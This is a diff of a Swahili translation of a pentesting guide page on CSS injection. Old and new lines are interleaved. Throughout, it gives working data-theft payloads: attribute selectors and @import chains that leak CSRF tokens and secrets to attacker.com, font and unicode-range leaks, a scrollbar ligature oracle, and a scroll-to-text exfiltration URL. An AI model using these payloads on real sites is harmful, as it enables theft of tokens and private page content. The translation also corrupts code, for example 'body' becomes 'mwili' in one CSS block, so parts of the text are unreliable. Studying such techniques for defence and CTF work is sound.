Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielekezi cha ndugu wa jumla `~`. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma kupakia:
|
||||||
```css
|
```css
|
||||||
input[name=csrf][value^=csrF] ~ * {
|
input[name=csrf][value^=csrF] ~ * {
|
||||||
background-image: url(https://attacker.com/exfil/csrF);
|
background-image: url(https://attacker.com/exfil/csrF);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Mfano wa vitendo wa kutumia mbinu hii umeelezwa kwa undani katika kificho kilichotolewa. Unaweza kuona kificho hicho [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
#### Mahitaji ya Kuingiza CSS
|
||||||
|
|
||||||
#### Mahitaji ya CSS Injection
|
Ili mbinu ya Kuingiza CSS iwe na ufanisi, lazima kuna hali fulani zilizokidhi:
|
||||||
|
|
||||||
Ili mbinu ya CSS Injection iwe na ufanisi, hali zifuatazo lazima zitimizwe:
|
1. **Urefu wa Mzigo**: Vector ya kuingiza CSS lazima iweze kusaidia mizigo ya kutosha kuingiza machaguo yaliyoundwa.
|
||||||
|
2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambao ni muhimu kusababisha upya wa CSS na mizigo iliyozalishwa kwa upya.
|
||||||
|
3. **Rasilimali za Nje**: Mbinu hii inahitaji uwezo wa kutumia picha zilizohifadhiwa nje. Hii inaweza kuzuiliwa na Sera ya Usalama wa Yaliyomo (CSP) ya tovuti.
|
||||||
|
|
||||||
1. **Urefu wa Payload**: Vector ya CSS injection lazima iweze kusaidia payloads ndefu vya kutosha kuwezesha utekelezaji wa selectors uliotengenezwa.
|
### Chaguo la Kipofu la Mchaguzi wa Sifa
|
||||||
2. **Upya wa CSS**: Lazima uwe na uwezo wa kuunda ukurasa, ambao ni muhimu kwa kuzindua upya wa CSS na payloads mpya zilizotengenezwa.
|
|
||||||
3. **Rasilimali za Nje**: Mbinu hii inategemea uwezo wa kutumia picha zilizohifadhiwa nje ya tovuti. Hii inaweza kuwa imezuiliwa na Sera ya Usalama ya Yaliyomo (CSP) ya tovuti.
|
|
||||||
|
|
||||||
### Kuchagua Kipengele kwa Kipengele Kipofu
|
Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha wachaguzi **`:has`** na **`:not`** kutambua yaliyomo hata kutoka kwa vipengele vipofu. Hii ni muhimu sana unapokuwa huna wazo la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.\
|
||||||
|
Pia inawezekana kutumia wachaguzi hao kutolea habari kutoka kwa vikundi kadhaa vya aina ile ile kama vile:
|
||||||
Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), ni muhimu kuunganisha selectors **`:has`** na **`:not`** ili kutambua maudhui hata kutoka kwenye vipengele vipofu. Hii ni muhimu sana wakati huna wazo la kilichomo ndani ya ukurasa wa wavuti unaojaza CSS injection.\
|
|
||||||
Pia ni muhimu kutumia selectors hizo kuondoa habari kutoka kwenye vikundi kadhaa vya aina ile ile kama vile:
|
|
||||||
```html
|
```html
|
||||||
<style>
|
<style>
|
||||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||||
|
@ -64,34 +70,34 @@ background:url(/m);
|
||||||
<input name=mytoken value=1337>
|
<input name=mytoken value=1337>
|
||||||
<input name=myname value=gareth>
|
<input name=myname value=gareth>
|
||||||
```
|
```
|
||||||
Kwa kuchanganya na mbinu ya **@import** ifuatayo, niwezekano wa kuvuja habari nyingi kwa kutumia CSS injection kutoka kwenye kurasa zisizo na uwezo wa kuona na **blind-css-exfiltration**.
|
Kwa kuunganisha hii na **mbinu ya @import** ifuatayo, niwezekanavyo kuchota **maarifa mengi kwa kutumia CSS injection kutoka kurasa za vipofu na** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||||
|
|
||||||
### @import
|
### @import
|
||||||
|
|
||||||
Mbinu iliyotangulia ina baadhi ya mapungufu, angalia mahitaji ya awali. Unahitaji kuwa na uwezo wa **kutuma viungo vingi kwa muathirika**, au unahitaji kuwa na uwezo wa **kuweka CSS injection kwenye ukurasa unaoweza kuvuja**.
|
Mbinu ya awali ina mapungufu fulani, angalia vigezo. Unahitaji kuwa na uwezo wa **kupeleka viungo vingi kwa muathiriwa**, au unahitaji kuwa na uwezo wa **kuweka CSS injection katika ukurasa unaoweza kudhurika na iframe**.
|
||||||
|
|
||||||
Hata hivyo, kuna mbinu nyingine nzuri ambayo hutumia **CSS `@import`** kuboresha ubora wa mbinu.
|
Hata hivyo, kuna mbinu nyingine nzuri inayotumia **CSS `@import`** kuboresha ubora wa mbinu.
|
||||||
|
|
||||||
Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) na inafanya kazi kama ifuatavyo:
|
Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) na inafanya kazi kama ifuatavyo:
|
||||||
|
|
||||||
Badala ya kupakia ukurasa huo mara kwa mara na mizigo tofauti kila wakati (kama ilivyokuwa hapo awali), tutapakia ukurasa mara moja tu na tu kwa kuagiza kwenye seva ya mshambuliaji (hii ndiyo mizigo ya kutuma kwa muathirika):
|
Badala ya kupakia ukurasa huo mara kwa mara na zaidi ya payloads tofauti kila wakati (kama ilivyokuwa hapo awali), tutakuwa **tunapakia ukurasa mara moja tu na kwa kuingiza kwa seva ya mshambuliaji** (hii ndio payload ya kutuma kwa muathiriwa):
|
||||||
```css
|
```css
|
||||||
@import url('//attacker.com:5001/start?');
|
@import url('//attacker.com:5001/start?');
|
||||||
```
|
```
|
||||||
1. Import itapokea CSS script kutoka kwa wadukuzi na kivinjari kitailoa.
|
1. Import itapokea **CSS script** kutoka kwa wachomozaji na **kivinjari kitaiload**.
|
||||||
2. Sehemu ya kwanza ya CSS script ambayo mshambuliaji atatuma ni `@import` nyingine kwenda kwenye seva ya wadukuzi tena.
|
2. Sehemu ya kwanza ya CSS script wachomozaji watatuma ni **`@import` nyingine kwa server ya wachomozaji tena**.
|
||||||
3. Seva ya wadukuzi haitajibu ombi hili bado, kwani tunataka kuvuja herufi kadhaa na kisha kujibu ombi hili na mzigo wa kuvuja herufi zinazofuata.
|
3. Server ya wachomozaji haitajibu ombi hili bado, kwani tunataka kuvuja herufi fulani kisha kujibu ombi hili na mzigo wa kuvuja wengine.
|
||||||
4. Sehemu ya pili na kubwa ya mzigo itakuwa mzigo wa kuvuja kwa kutumia kichaguzi cha sifa.
|
4. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa chaguo la sifa**.
|
||||||
5. Hii itatuma kwa seva ya wadukuzi herufi ya kwanza ya siri na ya mwisho.
|
5. Hii itatuma kwa server ya wachomozaji **herufi ya kwanza ya siri na ya mwisho**.
|
||||||
6. Mara tu seva ya wadukuzi imepokea herufi ya kwanza na ya mwisho ya siri, itajibu ombi la `@import` lililoulizwa katika hatua ya 2.
|
6. Mara server ya wachomozaji imepokea **herufi ya kwanza na ya mwisho ya siri**, itajibu **import iliyotakiwa katika hatua ya 2**.
|
||||||
7. Jibu litakuwa sawa na hatua za 2, 3 na 4, lakini wakati huu litajaribu kupata herufi ya pili ya siri na kisha ya pili kutoka mwisho.
|
7. Majibu yatakuwa sawa na **hatua 2, 3 na 4**, lakini wakati huu itajaribu **kupata herufi ya pili ya siri na kisha ya pili kutoka mwisho**.
|
||||||
|
|
||||||
Mshambuliaji ataendelea na mzunguko huo hadi aweze kuvuja kabisa siri.
|
Mchomozaji ataendelea **mpaka afanikiwe kuvuja siri kabisa**.
|
||||||
|
|
||||||
Unaweza kupata [msimbo wa Pepe Vila wa kutumia hii hapa](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata [msimbo sawa lakini ulio na maoni hapa](./#css-injection)
|
Unaweza kupata [**msimbo wa Pepe Vila wa kutumia hii hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**mimso wa msimbo lakini ulioandikwa hapa**.](./#css-injection)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Msimbo utajaribu kugundua herufi 2 kila wakati (kutoka mwanzo na mwisho) kwa sababu kichaguzi cha sifa kinawezesha kufanya mambo kama:
|
Msimbo utajaribu kugundua herufi 2 kila wakati (kutoka mwanzoni na mwishoni) kwa sababu chaguo la sifa linaruhusu kufanya mambo kama:
|
||||||
```css
|
```css
|
||||||
/* value^= to match the beggining of the value*/
|
/* value^= to match the beggining of the value*/
|
||||||
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||||
|
@ -99,30 +105,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
|
||||||
/* value$= to match the ending of the value*/
|
/* value$= to match the ending of the value*/
|
||||||
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
|
||||||
```
|
```
|
||||||
Hii inaruhusu script kuvuja siri haraka zaidi.
|
Hii inaruhusu script kuvuja siri haraka.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Maranyingi script **haidetecti kwa usahihi kwamba kiambishi + kisitiri kilichogunduliwa tayari ni bendera kamili** na itaendelea mbele (kwenye kiambishi) na nyuma (kwenye kisitiri) na wakati fulani itasimama.\
|
Wakati mwingine script **haigundui kwa usahihi kwamba kipimo cha awali + kipimo cha mwisho kilichopatikana tayari ni bendera kamili** na itaendelea mbele (kwenye kipimo cha awali) na nyuma (kwenye kipimo cha mwisho) na wakati fulani itasimama.\
|
||||||
Usijali, tuangalie **matokeo** kwa sababu **unaweza kuona bendera hapo**.
|
Usiwe na wasiwasi, tuangalie **matokeo** kwa sababu **unaweza kuona bendera hapo**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Selecta zingine
|
### Selectors Nyingine
|
||||||
|
|
||||||
Njia zingine za kufikia sehemu za DOM na **selecta za CSS**:
|
Njia nyingine za kufikia sehemu za DOM na **vichaguzi vya CSS**:
|
||||||
|
|
||||||
* **`.class-ya-kutafuta:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "class-ya-kutafuta" kwenye DOM.
|
* **`.class-to-search:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "class-to-search" kwenye DOM.
|
||||||
* Chaguo la **`:empty`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
* Chaguzi ya **`:empty`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||||
|
|
||||||
```css
|
```css
|
||||||
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
|
||||||
```
|
```
|
||||||
|
|
||||||
### XS-Search kwa makosa
|
### XS-Search Inayotegemea Makosa
|
||||||
|
|
||||||
**Marejeo:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
**Marejeo:** [Shambulio la Kulingana na CSS: Kutumia unicode-range ya @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [XS-Search PoC Inayotegemea Makosa na @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||||
|
|
||||||
Nia kuu ni **kutumia fonti ya desturi kutoka kwenye kifaa kilichodhibitiwa** na kuhakikisha kuwa **maandishi (katika kesi hii, 'A') yanawekwa na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**.
|
Nia kuu ni **kutumia fonti ya desturi kutoka kwa kituo kilichodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanavyoonyeshwa na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**.
|
||||||
```html
|
```html
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html>
|
<html>
|
||||||
|
@ -146,46 +152,40 @@ font-family: 'poc';
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
1. **Matumizi ya Fonti ya Kibinafsi**:
|
1. **Matumizi ya Fonti ya Kipekee**:
|
||||||
- Fonti ya kibinafsi inatambulishwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `<style>` katika sehemu ya `<head>`.
|
- Fonti ya kipekee inadefiniwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `<style>` katika sehemu ya `<head>`.
|
||||||
- Fonti inaitwa `poc` na inapakuliwa kutoka kwenye kipengele cha nje (`http://attacker.com/?leak`).
|
- Fonti inaitwa `poc` na inapakuliwa kutoka kwa mwisho wa nje (`http://attacker.com/?leak`).
|
||||||
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
|
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
|
||||||
|
|
||||||
2. **Kipengele cha Kitu na Nakala ya Rejeleo**:
|
2. **Kipengele cha Kitu na Nakala ya Mbadala**:
|
||||||
- Kipengele cha `<object>` chenye `id="poc0"` kinatengenezwa katika sehemu ya `<body>`. Kipengele hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
|
- Kipengele cha `<object>` chenye `id="poc0"` kinajengwa katika sehemu ya `<body>`. Kipengele hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
|
||||||
- `font-family` kwa kipengele hiki imewekwa kuwa `'poc'`, kama ilivyoelezwa katika sehemu ya `<style>`.
|
- `font-family` kwa kipengele hiki imewekwa kuwa `'poc'`, kama ilivyoelezwa katika sehemu ya `<style>`.
|
||||||
- Ikiwa rasilimali (`favicon.ico`) haiwezi kupakia, maudhui ya akiba (herufi 'A') ndani ya lebo ya `<object>` yataonyeshwa.
|
- Ikiwa rasilimali (`favicon.ico`) haiwezi kupakia, maudhui ya mbadala (herufi 'A') ndani ya lebo ya `<object>` yataonyeshwa.
|
||||||
- Maudhui ya akiba ('A') yataonyeshwa kwa kutumia fonti ya kibinafsi `poc` ikiwa rasilimali ya nje haiwezi kupakia.
|
- Maudhui ya mbadala ('A') yatachorwa kutumia fonti ya kipekee `poc` ikiwa rasilimali ya nje haiwezi kupakia.
|
||||||
|
|
||||||
### Kuunda Mtindo wa Sehemu ya Nakala ya Kuteleza
|
|
||||||
|
|
||||||
Pseudo-class ya **`:target`** inatumika kuchagua kipengele kinacholengwa na **kitambulisho cha URL**, kama ilivyoelezwa katika [maelezo ya CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kuwa `::target-text` haitachagua kipengele chochote isipokuwa ikiwa nakala inalengwa wazi na kitambulisho.
|
|
||||||
|
|
||||||
Wasiwasi wa usalama unatokea wakati wadukuzi wanatumia kipengele cha kitambulisho cha **Scroll-to-text**, kuruhusu kuthibitisha uwepo wa nakala maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwenye seva yao kupitia uingizaji wa HTML. Njia hii inahusisha kuingiza sheria ya CSS kama ifuatavyo:
|
|
||||||
```css
|
```css
|
||||||
:target::before { content : url(target.png) }
|
:target::before { content : url(target.png) }
|
||||||
```
|
```
|
||||||
Katika hali kama hizo, ikiwa neno "Msimamizi" lipo kwenye ukurasa, rasilimali `target.png` inaombwa kutoka kwenye seva, ikionyesha uwepo wa neno hilo. Mfano wa shambulio hili unaweza kutekelezwa kupitia URL maalum iliyojengwa kwa kuweka CSS iliyodukuliwa pamoja na kipande cha maandishi cha Scroll-to-text:
|
Katika hali kama hizo, ikiwa maandishi "Msimamizi" yapo kwenye ukurasa, rasilimali `target.png` inaombwa kutoka kwenye seva, ikionyesha uwepo wa maandishi hayo. Kisa cha shambulio hili kinaweza kutekelezwa kupitia URL iliyoundwa kwa uangalifu ambayo inaingiza CSS iliyoinuliwa pamoja na kipande cha maandishi ya kusogeza:
|
||||||
```
|
```
|
||||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||||
```
|
```
|
||||||
Hapa, shambulio linabadilisha kuingiza HTML ili kuhamisha nambari ya CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandishi yanapatikana, rasilimali iliyoelezwa inapakia, ikionyesha uwepo wake kwa bahati mbaya kwa mshambuliaji.
|
Hapa, shambulio linabadilisha uingizaji wa HTML ili kuhamisha nambari ya CSS, lengo likiwa ni maandishi maalum "Msimamizi" kupitia kipande cha Scroll-to-text (`#:~:text=Administrator`). Ikiwa maandishi yamepatikana, rasilimali iliyoelekezwa hupakiwa, ikionyesha uwepo wake kwa bahati mbaya kwa muhusika.
|
||||||
|
|
||||||
Kwa kuzuia, mambo yafuatayo yanapaswa kuzingatiwa:
|
Kwa kupunguza madhara, mambo yafuatayo yanapaswa kuzingatiwa:
|
||||||
|
|
||||||
1. **Ulinganishi Mdogo wa STTF**: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa ili kulinganisha tu maneno au sentensi, hivyo kikizuia uwezo wake wa kuvuja siri au alama za siri zisizo na mpangilio.
|
1. **Ulinganishi wa STTF uliopunguzwa**: Kipande cha Scroll-to-text Fragment (STTF) kimeundwa kulinganisha tu maneno au sentensi, hivyo kupunguza uwezo wake wa kufichua siri au vitambulisho vya aina yoyote.
|
||||||
2. **Kizuizi kwa Muktadha wa Kivinjari cha Ngazi ya Juu**: STTF inafanya kazi tu katika muktadha wa kivinjari cha ngazi ya juu na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la udanganyifu kuwa dhahiri zaidi kwa mtumiaji.
|
2. **Kizuizi kwa Muktadha wa Kivinjari cha Juu**: STTF inafanya kazi tu katika muktadha wa juu wa kivinjari na haifanyi kazi ndani ya iframes, hivyo kufanya jaribio lolote la unyonyaji kuwa dhahiri zaidi kwa mtumiaji.
|
||||||
3. **Hitaji la Kuanzishwa kwa Mtumiaji**: STTF inahitaji hatua ya kuanzishwa na mtumiaji ili ifanye kazi, maana shambulio linawezekana tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulio kufanywa kiotomatiki bila ushiriki wa mtumiaji. Walakini, mwandishi wa chapisho la blogu anataja hali na njia za kuzunguka maalum (kama vile uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kuwezesha kiotomatiki shambulio.
|
3. **Hitaji la Kuchochewa na Mtumiaji**: STTF inahitaji ishara ya kuchochewa na mtumiaji ili kufanya kazi, maana yake unyonyaji unawezekana tu kupitia urambazaji ulioanzishwa na mtumiaji. Mahitaji haya yanapunguza kwa kiasi kikubwa hatari ya mashambulizi kufanywa kiotomatiki bila ushirikiano wa mtumiaji. Hata hivyo, mwandishi wa chapisho la blogu anabainisha hali maalum na njia za kuepuka (k.m., uhandisi wa kijamii, mwingiliano na programu-jalizi maarufu za kivinjari) ambazo zinaweza kufanya unyonyaji kuwa rahisi.
|
||||||
|
|
||||||
Ufahamu wa mifumo hii na udhaifu unaowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mbinu za udanganyifu kama hizo.
|
Kuwa na ufahamu wa mifumo hii na mapungufu yanayowezekana ni muhimu kwa kudumisha usalama wa wavuti na kulinda dhidi ya mikakati ya unyonyaji kama hiyo.
|
||||||
|
|
||||||
Kwa habari zaidi angalia ripoti ya asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
Kwa maelezo zaidi angalia ripoti asili: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||||
|
|
||||||
Unaweza kuangalia [**shambulio linalotumia mbinu hii kwa CTF hapa**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
Unaweza kuangalia [**kutumia mbinu hii kwa CTF hapa**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||||
|
|
||||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||||
|
|
||||||
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa tu ikiwa thamani hizo za unicode zipo kwenye ukurasa. Kwa mfano:
|
Unaweza kubainisha **fonti za nje kwa thamani maalum za unicode** ambazo zitakusanywa tu **ikiwa thamani hizo za unicode zitapatikana** kwenye ukurasa. Kwa mfano:
|
||||||
```html
|
```html
|
||||||
<style>
|
<style>
|
||||||
@font-face{
|
@font-face{
|
||||||
|
@ -210,52 +210,50 @@ font-family:poc;
|
||||||
|
|
||||||
<p id="sensitive-information">AB</p>htm
|
<p id="sensitive-information">AB</p>htm
|
||||||
```
|
```
|
||||||
Unapoingia ukurasa huu, Chrome na Firefox hupata "?A" na "?B" kwa sababu kipengele cha habari nyeti kina herufi "A" na "B". Lakini Chrome na Firefox hawapati "?C" kwa sababu hauna "C". Hii inamaanisha kuwa tumeweza kusoma "A" na "B".
|
### Uchomaji wa nodi ya maandishi (I): ligatures <a href="#uchomaji-wa-nodi-ya-maandishi-i-ligatures" id="uchomaji-wa-nodi-ya-maandishi-i-ligatures"></a>
|
||||||
|
|
||||||
### Udukuzi wa kuvuja kwa kipengele cha maandishi (I): ligatures <a href="#udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-i-ligatures" id="udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-i-ligatures"></a>
|
**Kumbukumbu:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||||
|
|
||||||
**Marejeleo:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
Mbinu iliyoelezwa inahusisha kutoa maandishi kutoka kwa nodi kwa kutumia ligatures ya fonti na kufuatilia mabadiliko ya upana. Mchakato unajumuisha hatua kadhaa:
|
||||||
|
|
||||||
Teknolojia iliyoelezwa inahusisha kuchukua maandishi kutoka kwa kipengele kwa kuchanganya herufi za fonti na kufuatilia mabadiliko ya upana. Mchakato huu unajumuisha hatua kadhaa:
|
1. **Uundaji wa Fonti za Desturi**:
|
||||||
|
- Fonti za SVG zinatengenezwa na glyphs zenye sifa ya `horiz-adv-x`, ambayo huanzisha upana mkubwa kwa glyph inayowakilisha mfululizo wa wahusika wawili.
|
||||||
|
- Mfano wa glyph ya SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, ambapo "XY" inaashiria mfululizo wa wahusika wawili.
|
||||||
|
- Fonti hizi kisha hubadilishwa kuwa muundo wa woff kwa kutumia fontforge.
|
||||||
|
|
||||||
1. **Uundaji wa Fonti za Kibinafsi**:
|
2. **Uchunguzi wa Mabadiliko ya Upana**:
|
||||||
- Fonti za SVG zinaundwa na glyphs zikiwa na sifa ya `horiz-adv-x`, ambayo inaweka upana mkubwa kwa glyph inayowakilisha mfuatano wa herufi mbili.
|
- CSS hutumiwa kuhakikisha kuwa maandishi hayajipindi (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar.
|
||||||
- Mfano wa glyph ya SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, ambapo "XY" inaonyesha mfuatano wa herufi mbili.
|
- Kuonekana kwa scrollbar ya usawa, iliyopambwa kwa njia tofauti, hufanya kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfululizo maalum wa wahusika, upo katika maandishi.
|
||||||
- Fonti hizi zinaongezwa kwenye muundo wa woff kwa kutumia fontforge.
|
|
||||||
|
|
||||||
2. **Ugunduzi wa Mabadiliko ya Upana**:
|
|
||||||
- CSS inatumika kuhakikisha kuwa maandishi hayapindi (`white-space: nowrap`) na kubinafsisha mtindo wa kisanduku cha skrini.
|
|
||||||
- Kuonekana kwa kisanduku cha skrini ya usawa, kilichobinafsishwa kwa njia tofauti, hufanya kama kiashiria (oracle) kwamba ligature fulani, na hivyo mfuatano fulani wa herufi, upo katika maandishi.
|
|
||||||
- CSS inayohusika:
|
- CSS inayohusika:
|
||||||
```css
|
```css
|
||||||
body { white-space: nowrap };
|
mwili { white-space: nowrap };
|
||||||
body::-webkit-scrollbar { background: blue; }
|
mwili::-webkit-scrollbar { background: blue; }
|
||||||
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
mwili::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Mchakato wa Udukuzi**:
|
3. **Mchakato wa Kutumia**:
|
||||||
- **Hatua ya 1**: Fonti zinaundwa kwa jozi za herufi zenye upana mkubwa.
|
- **Hatua 1**: Fonti zinaundwa kwa jozi za wahusika wenye upana mkubwa.
|
||||||
- **Hatua ya 2**: Mbinu ya kisanduku cha skrini inatumika kugundua wakati glyph yenye upana mkubwa (ligature ya jozi ya herufi) inavyoonyeshwa, ikionyesha uwepo wa mfuatano wa herufi.
|
- **Hatua 2**: Mbinu ya udanganyifu inatumika kutambua wakati glyph kubwa ya upana (ligature kwa jozi ya wahusika) inapojengwa, ikionyesha uwepo wa mfululizo wa wahusika.
|
||||||
- **Hatua ya 3**: Baada ya kugundua ligature, glyphs mpya zinaundwa kuwakilisha mfuatano wa herufi tatu, zikiunganisha jozi iliyogunduliwa na kuongeza herufi kabla au baada yake.
|
- **Hatua 3**: Baada ya kutambua ligature, glyphs mpya zinazowakilisha mfululizo wa wahusika watatu zinaundwa, zikiingiza jozi iliyogunduliwa na kuongeza wahusika wa awali au wafuatao.
|
||||||
- **Hatua ya 4**: Ugunduzi wa ligature ya herufi tatu unafanywa.
|
- **Hatua 4**: Uchunguzi wa ligature ya wahusika watatu unafanywa.
|
||||||
- **Hatua ya 5**: Mchakato unaendelea, ukifichua hatua kwa hatua maandishi yote.
|
- **Hatua 5**: Mchakato unarudia, ukifunua taratibu maandishi yote.
|
||||||
|
|
||||||
4. **Uboreshaji**:
|
4. **Uboreshaji**:
|
||||||
- Mbinu ya sasa ya kuanzisha kwa kutumia `<meta refresh=...` sio bora.
|
- Mbinu ya sasa ya kuanzisha kutumia `<meta refresh=...` sio bora.
|
||||||
- Njia yenye ufanisi zaidi inaweza kuhusisha mbinu ya CSS `@import`, ikiboresha utendaji wa udukuzi.
|
- Njia yenye ufanisi zaidi inaweza kuhusisha mbinu ya CSS ya `@import`, ikiboresha utendaji wa kutumia mbinu hii.
|
||||||
|
|
||||||
### Udukuzi wa kuvuja kwa kipengele cha maandishi (II): kuvuja kwa charset kwa kutumia fonti ya chaguo-msingi (bila kuhitaji rasilimali za nje) <a href="#udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi" id="udukuzi-wa-kuvuja-kwa-kipengele-cha-maandishi-ii-kuvuja-kwa-charset-kwa-kutumia-fonti-ya-chaguo-msingi"></a>
|
### Uchomaji wa nodi ya maandishi (II): kuvuja kwa seti ya wahusika na fonti ya msingi (bila kuhitaji mali za nje) <a href="#uchomaji-wa-nodi-ya-maandishi-ii-kuvuja-kwa-seti-ya-wahusika-na-fonti-ya-msingi" id="uchomaji-wa-nodi-ya-maandishi-ii-kuvuja-kwa-seti-ya-wahusika-na-fonti-ya-msingi"></a>
|
||||||
|
|
||||||
**Marejeleo:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
**Kumbukumbu:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||||
|
|
||||||
Mbinu hii ilitolewa katika [**mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Charset inayotumiwa katika kipengele cha maandishi inaweza kuvuja **kwa kutumia fonti za chaguo-msingi** zilizosanikishwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika.
|
